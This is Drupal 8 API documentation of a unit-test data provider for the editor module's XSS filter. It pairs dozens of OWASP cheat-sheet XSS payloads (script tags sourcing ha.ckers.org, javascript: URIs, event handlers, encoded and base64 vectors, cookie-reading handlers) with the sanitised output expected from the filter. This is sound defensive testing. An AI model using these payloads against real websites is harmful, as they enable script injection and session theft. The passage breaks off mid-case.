public function StandardTest::providerTestFilterXss in Drupal 8

Same name and namespace in other branches
9 core/modules/editor/tests/src/Unit/EditorXssFilter/StandardTest.php \Drupal\Tests\editor\Unit\EditorXssFilter\StandardTest::providerTestFilterXss()
Provides test data for testFilterXss().
File

core/modules/editor/tests/src/Unit/EditorXssFilter/StandardTest.php, line 51
Class

StandardTest: @coversDefaultClass \Drupal\editor\EditorXssFilter\Standard @group editor
Namespace

Drupal\Tests\editor\Unit\EditorXssFilter
Code

public function providerTestFilterXss() {
  $data = [];
  $data[] = [
    '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>',
    '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>',
  ];
  $data[] = [
    '<p style="color:red">Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>',
    '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>',
  ];
  $data[] = [
    '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown><script>alert("evil");</script>',
    '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown>alert("evil");',
  ];
  $data[] = [
    '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown><a href="javascript:alert(1)">test</a>',
    '<p>Hello, world!</p><unknown>Pink Fairy Armadillo</unknown><a href="alert(1)">test</a>',
  ];

  // All cases listed on https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
  // No Filter Evasion.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#No_Filter_Evasion
  $data[] = [
    '<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>',
    '',
  ];

  // Image XSS using the JavaScript directive.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Image_XSS_using_the_JavaScript_directive
  $data[] = [
    '<IMG SRC="javascript:alert(\'XSS\');">',
    '<IMG src="alert(&#039;XSS&#039;);">',
  ];

  // No quotes and no semicolon.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#No_quotes_and_no_semicolon
  $data[] = [
    '<IMG SRC=javascript:alert(\'XSS\')>',
    '<IMG>',
  ];

  // Case insensitive XSS attack vector.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Case_insensitive_XSS_attack_vector
  $data[] = [
    '<IMG SRC=JaVaScRiPt:alert(\'XSS\')>',
    '<IMG>',
  ];

  // HTML entities.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#HTML_entities
  $data[] = [
    '<IMG SRC=javascript:alert("XSS")>',
    '<IMG>',
  ];

  // Grave accent obfuscation.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Grave_accent_obfuscation
  $data[] = [
    '<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>',
    '<IMG>',
  ];

  // Malformed A tags.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Malformed_A_tags
  $data[] = [
    '<a onmouseover="alert(document.cookie)">xxs link</a>',
    '<a>xxs link</a>',
  ];
  $data[] = [
    '<a onmouseover=alert(document.cookie)>xxs link</a>',
    '<a>xxs link</a>',
  ];

  // Malformed IMG tags.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Malformed_IMG_tags
  $data[] = [
    '<IMG """><SCRIPT>alert("XSS")</SCRIPT>">',
    '<IMG>alert("XSS")"&gt;',
  ];

  // fromCharCode.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#fromCharCode
  $data[] = [
    '<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>',
    '<IMG src="alert(String.fromCharCode(88,83,83))">',
  ];

  // Default SRC tag to get past filters that check SRC domain.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Default_SRC_tag_to_get_past_filters_that_check_SRC_domain
  $data[] = [
    '<IMG SRC=# onmouseover="alert(\'xxs\')">',
    '<IMG src="#">',
  ];

  // Default SRC tag by leaving it empty.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Default_SRC_tag_by_leaving_it_empty
  $data[] = [
    '<IMG SRC= onmouseover="alert(\'xxs\')">',
    '<IMG nmouseover="alert(&#039;xxs&#039;)">',
  ];

  // Default SRC tag by leaving it out entirely.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Default_SRC_tag_by_leaving_it_out_entirely
  $data[] = [
    '<IMG onmouseover="alert(\'xxs\')">',
    '<IMG>',
  ];

  // Decimal HTML character references.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Decimal_HTML_character_references
  $data[] = [
    '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>',
    '<IMG src="alert(&#039;XSS&#039;)">',
  ];

  // Decimal HTML character references without trailing semicolons.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Decimal_HTML_character_references_without_trailing_semicolons
  $data[] = [
    '<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>',
    '<IMG src="&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041">',
  ];

  // Hexadecimal HTML character references without trailing semicolons.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Hexadecimal_HTML_character_references_without_trailing_semicolons
  $data[] = [
    '<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>',
    '<IMG src="&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29">',
  ];

  // Embedded tab.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Embedded_tab
  $data[] = [
    '<IMG SRC="jav  ascript:alert(\'XSS\');">',
    '<IMG src="alert(&#039;XSS&#039;);">',
  ];

  // Embedded Encoded tab.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Embedded_Encoded_tab
  $data[] = [
    '<IMG SRC="jav&#x09;ascript:alert(\'XSS\');">',
    '<IMG src="alert(&#039;XSS&#039;);">',
  ];

  // Embedded newline to break up XSS.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Embedded_newline_to_break_up_XSS
  $data[] = [
    '<IMG SRC="jav&#x0A;ascript:alert(\'XSS\');">',
    '<IMG src="alert(&#039;XSS&#039;);">',
  ];

  // Embedded carriage return to break up XSS.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Embedded_carriage_return_to_break_up_XSS
  $data[] = [
    '<IMG SRC="jav&#x0D;ascript:alert(\'XSS\');">',
    '<IMG src="alert(&#039;XSS&#039;);">',
  ];

  // Null breaks up JavaScript directive.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Null_breaks_up_JavaScript_directive
  $data[] = [
    "<IMG SRC=java\0script:alert(\"XSS\")>",
    '<IMG>',
  ];

  // Spaces and meta chars before the JavaScript in images for XSS.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Spaces_and_meta_chars_before_the_JavaScript_in_images_for_XSS
  // @fixme This dataset currently fails under 5.4 because of
  //   https://www.drupal.org/node/1210798. Restore after it's fixed.
  if (version_compare(PHP_VERSION, '5.4.0', '<')) {
    $data[] = [
      '<IMG SRC=" &#14;  javascript:alert(\'XSS\');">',
      '<IMG src="alert(&#039;XSS&#039;);">',
    ];
  }

  // Non-alpha-non-digit XSS.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Non-alpha-non-digit_XSS
  $data[] = [
    '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    '',
  ];
  $data[] = [
    '<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert("XSS")>',
    '<BODY>',
  ];
  $data[] = [
    '<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    '',
  ];

  // Extraneous open brackets.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Extraneous_open_brackets
  $data[] = [
    '<<SCRIPT>alert("XSS");//<</SCRIPT>',
    '&lt;alert("XSS");//&lt;',
  ];

  // No closing script tags.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#No_closing_script_tags
  $data[] = [
    '<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >',
    '',
  ];

  // Protocol resolution in script tags.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Protocol_resolution_in_script_tags
  $data[] = [
    '<SCRIPT SRC=//ha.ckers.org/.j>',
    '',
  ];

  // Half open HTML/JavaScript XSS vector.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Half_open_HTML.2FJavaScript_XSS_vector
  $data[] = [
    '<IMG SRC="javascript:alert(\'XSS\')"',
    '<IMG src="alert(&#039;XSS&#039;)">',
  ];

  // Double open angle brackets.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Double_open_angle_brackets
  // @see http://ha.ckers.org/blog/20060611/hotbot-xss-vulnerability/ to
  //      understand why this is a vulnerability.
  $data[] = [
    '<iframe src=http://ha.ckers.org/scriptlet.html <',
    '<iframe src="http://ha.ckers.org/scriptlet.html">',
  ];

  // Escaping JavaScript escapes.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Escaping_JavaScript_escapes
  // This one is irrelevant for Drupal; we *never* output any JavaScript code
  // that depends on the URL's query string.
  // End title tag.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#End_title_tag
  $data[] = [
    '</TITLE><SCRIPT>alert("XSS");</SCRIPT>',
    '</TITLE>alert("XSS");',
  ];

  // INPUT image.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#INPUT_image
  $data[] = [
    '<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">',
    '<INPUT type="IMAGE" src="alert(&#039;XSS&#039;);">',
  ];

  // BODY image.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#BODY_image
  $data[] = [
    '<BODY BACKGROUND="javascript:alert(\'XSS\')">',
    '<BODY background="alert(&#039;XSS&#039;)">',
  ];

  // IMG Dynsrc.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IMG_Dynsrc
  $data[] = [
    '<IMG DYNSRC="javascript:alert(\'XSS\')">',
    '<IMG dynsrc="alert(&#039;XSS&#039;)">',
  ];

  // IMG lowsrc.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IMG_lowsrc
  $data[] = [
    '<IMG LOWSRC="javascript:alert(\'XSS\')">',
    '<IMG lowsrc="alert(&#039;XSS&#039;)">',
  ];

  // List-style-image.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#List-style-image
  $data[] = [
    '<STYLE>li {list-style-image: url("javascript:alert(\'XSS\')");}</STYLE><UL><LI>XSS</br>',
    'li {list-style-image: url("javascript:alert(\'XSS\')");}<UL><LI>XSS</br>',
  ];

  // VBscript in an image.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#VBscript_in_an_image
  $data[] = [
    '<IMG SRC=\'vbscript:msgbox("XSS")\'>',
    '<IMG src=\'msgbox(&quot;XSS&quot;)\'>',
  ];

  // Livescript (older versions of Netscape only).
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Livescript_.28older_versions_of_Netscape_only.29
  $data[] = [
    '<IMG SRC="livescript:[code]">',
    '<IMG src="[code]">',
  ];

  // BODY tag.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#BODY_tag
  $data[] = [
    '<BODY ONLOAD=alert(\'XSS\')>',
    '<BODY>',
  ];

  // Event handlers.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Event_Handlers
  $events = [
    'onAbort',
    'onActivate',
    'onAfterPrint',
    'onAfterUpdate',
    'onBeforeActivate',
    'onBeforeCopy',
    'onBeforeCut',
    'onBeforeDeactivate',
    'onBeforeEditFocus',
    'onBeforePaste',
    'onBeforePrint',
    'onBeforeUnload',
    'onBeforeUpdate',
    'onBegin',
    'onBlur',
    'onBounce',
    'onCellChange',
    'onChange',
    'onClick',
    'onContextMenu',
    'onControlSelect',
    'onCopy',
    'onCut',
    'onDataAvailable',
    'onDataSetChanged',
    'onDataSetComplete',
    'onDblClick',
    'onDeactivate',
    'onDrag',
    'onDragEnd',
    'onDragLeave',
    'onDragEnter',
    'onDragOver',
    'onDragDrop',
    'onDragStart',
    'onDrop',
    'onEnd',
    'onError',
    'onErrorUpdate',
    'onFilterChange',
    'onFinish',
    'onFocus',
    'onFocusIn',
    'onFocusOut',
    'onHashChange',
    'onHelp',
    'onInput',
    'onKeyDown',
    'onKeyPress',
    'onKeyUp',
    'onLayoutComplete',
    'onLoad',
    'onLoseCapture',
    'onMediaComplete',
    'onMediaError',
    'onMessage',
    'onMousedown',
    'onMouseEnter',
    'onMouseLeave',
    'onMouseMove',
    'onMouseOut',
    'onMouseOver',
    'onMouseUp',
    'onMouseWheel',
    'onMove',
    'onMoveEnd',
    'onMoveStart',
    'onOffline',
    'onOnline',
    'onOutOfSync',
    'onPaste',
    'onPause',
    'onPopState',
    'onProgress',
    'onPropertyChange',
    'onReadyStateChange',
    'onRedo',
    'onRepeat',
    'onReset',
    'onResize',
    'onResizeEnd',
    'onResizeStart',
    'onResume',
    'onReverse',
    'onRowsEnter',
    'onRowExit',
    'onRowDelete',
    'onRowInserted',
    'onScroll',
    'onSeek',
    'onSelect',
    'onSelectionChange',
    'onSelectStart',
    'onStart',
    'onStop',
    'onStorage',
    'onSyncRestored',
    'onSubmit',
    'onTimeError',
    'onTrackChange',
    'onUndo',
    'onUnload',
    'onURLFlip',
  ];
  foreach ($events as $event) {
    $data[] = [
      '<p ' . $event . '="javascript:alert(\'XSS\');">Dangerous llama!</p>',
      '<p>Dangerous llama!</p>',
    ];
  }

  // BGSOUND.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#BGSOUND
  $data[] = [
    '<BGSOUND SRC="javascript:alert(\'XSS\');">',
    '<BGSOUND src="alert(&#039;XSS&#039;);">',
  ];

  // & JavaScript includes.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#.26_JavaScript_includes
  $data[] = [
    '<BR SIZE="&{alert(\'XSS\')}">',
    '<BR size="">',
  ];

  // STYLE sheet.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_sheet
  $data[] = [
    '<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">',
    '',
  ];

  // Remote style sheet.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet
  $data[] = [
    '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">',
    '',
  ];

  // Remote style sheet part 2.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet_part_2
  $data[] = [
    '<STYLE>@import\'http://ha.ckers.org/xss.css\';</STYLE>',
    '@import\'http://ha.ckers.org/xss.css\';',
  ];

  // Remote style sheet part 3.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet_part_3
  $data[] = [
    '<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">',
    '<META http-equiv="Link">; REL=stylesheet"&gt;',
  ];

  // Remote style sheet part 4.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet_part_4
  $data[] = [
    '<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>',
    'BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}',
  ];

  // STYLE tags with broken up JavaScript for XSS.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_tags_with_broken_up_JavaScript_for_XSS
  $data[] = [
    '<STYLE>@im\\port\'\\ja\\vasc\\ript:alert("XSS")\';</STYLE>',
    '@im\\port\'\\ja\\vasc\\ript:alert("XSS")\';',
  ];

  // STYLE attribute using a comment to break up expression.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_attribute_using_a_comment_to_break_up_expression
  $data[] = [
    '<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))">',
    '<IMG>',
  ];

  // IMG STYLE with expression.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IMG_STYLE_with_expression
  $data[] = [
    'exp/*<A STYLE=\'no\\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))\'>',
    'exp/*<A>',
  ];

  // STYLE tag (Older versions of Netscape only).
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_tag_.28Older_versions_of_Netscape_only.29
  $data[] = [
    '<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>',
    'alert(\'XSS\');',
  ];

  // STYLE tag using background-image.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_tag_using_background-image
  $data[] = [
    '<STYLE>.XSS{background-image:url("javascript:alert(\'XSS\')");}</STYLE><A CLASS=XSS></A>',
    '.XSS{background-image:url("javascript:alert(\'XSS\')");}<A class="XSS"></A>',
  ];

  // STYLE tag using background.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#STYLE_tag_using_background
  $data[] = [
    '<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>',
    'BODY{background:url("javascript:alert(\'XSS\')")}',
  ];

  // Anonymous HTML with STYLE attribute.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Anonymous_HTML_with_STYLE_attribute
  $data[] = [
    '<XSS STYLE="xss:expression(alert(\'XSS\'))">',
    '<XSS>',
  ];

  // Local htc file.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Local_htc_file
  $data[] = [
    '<XSS STYLE="behavior: url(xss.htc);">',
    '<XSS>',
  ];

  // US-ASCII encoding.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#US-ASCII_encoding
  // This one is irrelevant for Drupal; Drupal *always* outputs UTF-8.
  // META.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#META
  $data[] = [
    '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">',
    '<META http-equiv="refresh" content="alert(&#039;XSS&#039;);">',
  ];

  // META using data.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#META_using_data
  $data[] = [
    '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
    '<META http-equiv="refresh" content="text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
  ];

  // META with additional URL parameter
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#META
  $data[] = [
    '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">',
    '<META http-equiv="refresh" content="//;URL=javascript:alert(&#039;XSS&#039;);">',
  ];

  // IFRAME.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IFRAME
  $data[] = [
    '<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>',
    '<IFRAME src="alert(&#039;XSS&#039;);"></IFRAME>',
  ];

  // IFRAME Event based.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IFRAME_Event_based
  $data[] = [
    '<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>',
    '<IFRAME src="#"></IFRAME>',
  ];

  // FRAME.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#FRAME
  $data[] = [
    '<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>',
    '<FRAMESET><FRAME src="alert(&#039;XSS&#039;);"></FRAMESET>',
  ];

  // TABLE.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#TABLE
  $data[] = [
    '<TABLE BACKGROUND="javascript:alert(\'XSS\')">',
    '<TABLE background="alert(&#039;XSS&#039;)">',
  ];

  // TD.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#TD
  $data[] = [
    '<TABLE><TD BACKGROUND="javascript:alert(\'XSS\')">',
    '<TABLE><TD background="alert(&#039;XSS&#039;)">',
  ];

  // DIV background-image.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#DIV_background-image
  $data[] = [
    '<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">',
    '<DIV>',
  ];

  // DIV background-image with unicoded XSS exploit.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#DIV_background-image_with_unicoded_XSS_exploit
  $data[] = [
    '<DIV STYLE="background-image:\\0075\\0072\\006C\\0028\'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029\'\\0029">',
    '<DIV>',
  ];

  // DIV background-image plus extra characters.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#DIV_background-image_plus_extra_characters
  $data[] = [
    '<DIV STYLE="background-image: url(&#1;javascript:alert(\'XSS\'))">',
    '<DIV>',
  ];

  // DIV expression.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#DIV_expression
  $data[] = [
    '<DIV STYLE="width: expression(alert(\'XSS\'));">',
    '<DIV>',
  ];

  // Downlevel-Hidden block.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Downlevel-Hidden_block
  $data[] = [
    '<!--[if gte IE 4]>
 <SCRIPT>alert(\'XSS\');</SCRIPT>
 <![endif]-->',
    "\n alert('XSS');\n ",
  ];

  // BASE tag.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#BASE_tag
  $data[] = [
    '<BASE HREF="javascript:alert(\'XSS\');//">',
    '<BASE href="alert(&#039;XSS&#039;);//">',
  ];

  // OBJECT tag.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#OBJECT_tag
  $data[] = [
    '<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>',
    '',
  ];

  // Using an EMBED tag you can embed a Flash movie that contains XSS.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Using_an_EMBED_tag_you_can_embed_a_Flash_movie_that_contains_XSS
  $data[] = [
    '<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>',
    '',
  ];

  // You can EMBED SVG which can contain your XSS vector.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#You_can_EMBED_SVG_which_can_contain_your_XSS_vector
  $data[] = [
    '<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>',
    '',
  ];

  // XML data island with CDATA obfuscation.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XML_data_island_with_CDATA_obfuscation
  $data[] = [
    '<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>',
    '<XML id="xss"><I><B><IMG>cript:alert(\'XSS\')"&gt;</B></I></XML><SPAN datasrc="#xss" datafld="B" dataformatas="HTML"></SPAN>',
  ];

  // Locally hosted XML with embedded JavaScript that is generated using an XML data island.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Locally_hosted_XML_with_embedded_JavaScript_that_is_generated_using_an_XML_data_island
  // This one is irrelevant for Drupal; Drupal disallows XML uploads by
  // default.
  // HTML+TIME in XML.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#HTML.2BTIME_in_XML
  $data[] = [
    '<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">',
    '&lt;?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"&gt;&lt;?import namespace="t" implementation="#default#time2"&gt;<t set attributename="innerHTML">alert("XSS")"&gt;',
  ];

  // Assuming you can only fit in a few characters and it filters against ".js".
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Assuming_you_can_only_fit_in_a_few_characters_and_it_filters_against_.22.js.22
  $data[] = [
    '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>',
    '',
  ];

  // IMG Embedded commands.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#IMG_Embedded_commands
  // This one is irrelevant for Drupal; this is actually a CSRF, for which
  // Drupal has CSRF protection. See https://www.drupal.org/node/178896.
  // Cookie manipulation.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Cookie_manipulation
  $data[] = [
    '<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(\'XSS\')</SCRIPT>">',
    '<META http-equiv="Set-Cookie">alert(\'XSS\')"&gt;',
  ];

  // UTF-7 encoding.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#UTF-7_encoding
  // This one is irrelevant for Drupal; Drupal *always* outputs UTF-8.
  // XSS using HTML quote encapsulation.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_using_HTML_quote_encapsulation
  $data[] = [
    '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    '" SRC="http://ha.ckers.org/xss.js"&gt;',
  ];
  $data[] = [
    '<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    '" SRC="http://ha.ckers.org/xss.js"&gt;',
  ];
  $data[] = [
    '<SCRIPT a=">" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    '" \'\' SRC="http://ha.ckers.org/xss.js"&gt;',
  ];
  $data[] = [
    '<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    '\'" SRC="http://ha.ckers.org/xss.js"&gt;',
  ];
  $data[] = [
    '<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    '` SRC="http://ha.ckers.org/xss.js"&gt;',
  ];
  $data[] = [
    '<SCRIPT a=">\'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    '\'&gt;" SRC="http://ha.ckers.org/xss.js"&gt;',
  ];
  $data[] = [
    '<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>',
    'document.write("<SCRI>PT SRC="http://ha.ckers.org/xss.js"&gt;',
  ];

  // URL string evasion.
  // @see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#URL_string_evasion
  // This one is irrelevant for Drupal; Drupal doesn't forbid linking to some
  // sites, it only forbids linking to any protocols other than those that are
  // whitelisted.
  // Test XSS filtering on data-attributes.
  // @see \Drupal\editor\EditorXssFilter::filterXssDataAttributes()
  // The following two test cases verify that XSS attack vectors are filtered.
  $data[] = [
    '<img src="butterfly.jpg" data-caption="&lt;script&gt;alert();&lt;/script&gt;" />',
